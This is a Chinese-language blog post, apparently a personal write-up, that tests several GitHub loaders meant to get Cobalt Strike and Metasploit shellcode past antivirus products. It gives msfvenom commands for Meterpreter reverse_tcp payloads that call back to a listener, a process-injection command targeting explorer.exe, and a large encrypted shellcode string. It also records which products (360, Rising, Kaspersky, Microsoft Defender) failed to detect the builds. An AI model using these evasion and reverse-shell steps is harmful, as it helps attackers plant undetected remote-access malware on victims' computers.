前言
github上翻一翻看看有没有好的项目,针对免杀的内容,还是挺有趣的。
杀软检测和免杀
杀软的工作原理就是基于特征码检测、关联检测和行为分析。关联分析是基于代码块或者说核心内容,例如shellcode,行为分析基于动态检测,类似于沙箱。静态的免杀一般都是直接对shellcode做增加随机字符混淆,修改特征、增加花指令,加壳等。
GLLLoader
安装gcc环境

不要想着直接下载exe,在线安装有问题,解压到安装目录,添加环境变量

gcc -v

安装 nim

解压后添加环境变量

使用cs,生成原生木马
启动服务端,客户端创建监听

生成可执行文件,这里选用32位的,64位的免杀马无法上线

生成artifact.exe

加载器免杀,使用shellcode免杀

以cs原生木马免杀,生成的可执行文件为Green.exe
但是无法上线
使用poweshell上线,做免杀,无法运行脚本,默认状态下win10是禁用powershell。
set-executionpolicy remotesigned

设置为yes
即可
Cool免杀平台
项目
安装go环境

添加环境变量

C:\Users\Administrator>go env -w GO111MODULE=on
C:\Users\Administrator>go env -w GOPROXY=https://goproxy.io,direct
C:\Users\Administrator>go install mvdan.cc/garble@latest
执行coolv01.exe


到这里其实见过两个版本的,之前有个版本是go实现的,win版的不好使。
Shhhloader免杀
编译好编译但是似乎面临无法上线的问题
使用kali生成bin文件
msfvenom -a x64 -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.129 LPORT=5555 -f raw -o payload.bin
将payload.bin
放在同级目录,运行脚本
python Shhhloader.py

这里选择进程注入的方式
python Shhhloader.py payload.bin -p explorer.exe

执行a.exe
,上线如下

没走云沙箱,起码微软是过的,没报毒。
BypassAV
https://github.com/G73st/BypassAV
利用cs生成木马

拿出shellcode,这里对shellcode加密,脚本BypassAV.py
为shellcode加密脚本
81246379053153310031533170315631491818182573156314931533173265315331673188315631452022603156314520221231563145202228315631453116268213315631042962402653153315126531533120315631922782593126122662423153312531533164214113153314331533172315331972022093156314520221731563145277278113153316631563145276312831563144315331203117296113153316620831563145292226315631452002421131533169315331742782943156314523231563145113153313826531533151265315331203156319231533125315331642141131533143237315331783119315331081431233153310623531232473119315331722003156314520024711315331693182315631452122933156314520022011315331693156314516315631451131533166315631492702472472512512592052582013153315131533178200253258315631452103153319131563146254318631183181311718318631153183311831832063186297311524019315331513153316526531533151209209209209209318623020731213156317931533151315331653153317531563142181818251265315331492012013187142012013186208181818204208318620931563149315631353153314631533151315331653153319131122512653153316720231861812276315631422022022022042022083186315331912032672353153315131533165315631493153314631563141315331412082653153315120920931873153315120420731862631722631243153315131533165315631443153312021331563142315331411118182653153315131563144315331023117163156314931533103315331911531863156319831533144315331722543153315131533165315631493153312531862752442562653153315131533165265315331512093187192012072083186315631042093153317821131533151315331653156315118269181823931533143311731563104265315331513153317531563163111818315331753153314911181831533170315631453153315131533151315331512692942982053117183153316926127423324431233124315331052113156319731533108152032772523153314531563146315331782733156319931172152432723182274274315331722033119214315331653153319231563143315631091631273156319231563132315631973156317525331563176312225031533120315631733156310931563199102153156313027223531533161205315331581412315331362732453153317131563103315331343156310820127531123186315331253156319531533137182033113318131162632733184318131183117230242299311131223183318031802592692342672602422682553111318531122593117318325031803181235242299204294275242239267260235242209318331183188311131153113242290206242236267265235242209318331182362322352423128236232235242206311631833188318131183117269234267260261214218183115315331053181315331383153310831533161183186249315631041031151623331563144260315631752093153314123027131563146264227315631312413153313331103153316731533105315631042543153317531103153314731533141315631923156316631533179265290315331043153316127331533109311631563161315331473153317925831533135315631313156314021631563134315631453153317931533136315631083153317531533100315631493153316227331533172318231533106315331652532343153317125531563145206215315331392723156310431563134315631763153316727827821531533170315331582222163122315631933182318931533132279213318323531563132315631513153310931533165292315631073153317310315331423156310131533175250203315631482293156319331533125315631412273156316531563125237267173153316926321531533141250311931261529822631563170122592982992302553153316531533101315331712693153310131533171216318131263156316731183156317131563137315331932622032552523156310324931123156310531533135315631762003185315631012093156313626926831153112275214163156315131563102315631353156313331533172315631063156312031563103236315631432131231813156316531533106315331012033153310925431563151204315331992472662483156314331533106315631432283153314531533139315631953153310331533192315631613156314631892163156316518318631533197315631013156317220731533151315331653187276318618217181831861818276182093186200315631762043153317331533151315331653156316931563103181818181131533134201204315631493153317920931861824218182042073186210315631383156314931533172315331513153316531563144315331203117315331463156314519113153314131563144315331203119315331732003153314131533170315631753153310531533151315331512652672652382672362372672382312321818113156314631563178
cs原生马的同一个脚本的加密格式都一样。
使用visual studio
重新打包,新建项目

c/c++控制台应用程序,源文件->添加->新建项目

类型为c++

回头看github项目

复制该代码,更改我们自己的shellcode加密内容

修改打包文件类型

重新生成项目

显示如下表示成功

源文件下可以看到exe文件生成

D盾查杀

防火墙没报毒
云沙箱检测

存在检出率,但是可以看出瑞星、卡巴斯基等是可以过的
360安全是可以过的有点儿奇怪吧
不过最严重的问题是目前无法上线,不是能不能过免杀的问题,思路的话可以借鉴。
Shellcode-loader
项目地址
使用msf生成hex编码,使用loader.exe
加载

微软防火墙没报毒程序,但是虚拟机直接弹了。自己可以测试,不确定是否有毒。

CS目前未上线。
Gobypass-01
项目地址
改的国外的项目,原项目地址
使用msfvenom
生成payload
msfvenom -a x64 -p windows/x64/meterpreter/reverse_tcp LHOST=1xx.xx.xx.xx LPORT=5555 -f c

跟着操作走就是error
go env -w GO111MODULE=on
go mod download
go run main.go -m CreateThread -d

本地重新部署go环境
https://golang.google.cn/dl/
https://golang.google.cn/dl/go1.18.3.windows-amd64.msi
另外

还具有加壳等功能,但是问题就是编译不成功,我以为是环境问题,更换go为1.17

直接卒

直接整不明白了,回头看原项目,shellcode加密部分如下

那么想一种新思路,将生成的文件做异或然后载重新注入进程

修改main.go
,打包

回头看看效果

360、瑞星和微软是可以过的。
意料之外情理之中
尽管目前的项目无法实现免杀,那么学习思路,自己实现并去特征免杀,或者说是改造原有项目去尝试实现免杀。

那么使用Gobypass的shellcode加密在重新加载

这里有了意外,ahhhh!
小结
免杀的思路可以相互借鉴,核心的免杀内容是基于静态或者动态免杀实现的,那么关于项目的打包个人感觉效果还是go
的效果大于python
或者c
的